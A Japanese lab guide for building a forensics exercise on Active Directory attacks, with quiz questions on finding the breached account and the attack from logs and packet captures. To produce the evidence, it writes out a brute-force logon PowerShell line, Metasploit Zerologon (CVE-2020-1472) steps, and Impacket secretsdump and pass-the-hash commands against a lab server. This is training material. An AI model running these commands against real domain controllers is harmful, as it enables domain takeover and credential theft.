ActiveDirectory(Windows Server 2016)への認証攻撃を行う。
■シナリオ1
・内部のマシンからADに対して大量の認証要求がセキュリティログに発見された。
・そのうちのあるアカウントで認証が成功している。そのアカウントは何かを問う。
■シナリオ2
・脆弱性を突いた攻撃によりADにログインされた。攻撃を受けた時間のパケットキャプチャファイルを用意し、どのような攻撃で認証が成功したかを問う。
■準備
1.ADの構築
Windows Server 2016にADをインストール
ユーザとしては、test1、test2ユーザを作成する。
2.別のマシンからの大量のログイン要求を実施(失敗、成功するログ)
Windows10マシンから下記のPowerShellで大量のログオン要求を実施。
(new-object directoryservices.directoryentry “LDAP://10.0.2.15″,”west-sec\test1″,”password”).psbase.name -ne $null
3.MetasploitからADへZerologon攻撃を実施
UbuntuにMetasploitとImpacketをインストールしZerologon攻撃を実施する。
その際に、攻撃パケットをキャプチャしておく。

metasploitで対象のサーバのドメイン名、NETBIOS情報を取得する。
$msfconsole
> use auxiliary/scanner/netbios/nbname
> set RHOSTS 10.0.2.15
> set THREADS 1
> exploit
次に得られた情報でZerologon攻撃を行い、ADのマシンアカウントのパスワードをemptyに設定する。
> use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
> set RHOSTS 10.0.2.15
> set NBNAME WIN-XXXXXXXXXXX
> exploit

マシンアカウントのパスワードがemptyに設定できたので、この情報でAdministratorのパスワードをImpacketを使って入手する。
$ cd $HOME/.local/bin
$ python3 secretsdump.py -just-dc DomainName/WIN-XXXXXXXXXXX\$@10.0.2.15 -no-pass
入手したハッシュ値と用いAdministratorとしてログオンする。
$ python3 wmiexec.py DomainName/Administrator@10.0.2.15 -hashes XXXXX~
■問題例
ある会社のADにしかない情報が盗まれた。ADにログインされ情報を取得された可能性ある。
以下の問題に答えよ。
1.ADに記録されたイベントログ(セキュリティ)から認証が成功した時間とアカウント名を答えよ。
2.意図しない時間に管理者権限のログイン履歴があった。認証が成功した時間におけるADへの通信ログ(パケットキャプチャ)がある。このログからどのような攻撃を受けて認証が成功したかを答えよ。回答は攻撃名もしくはCVE番号でもよい。
※解き方のヒント:SuricataなどのIDSでパケットを分析させる。

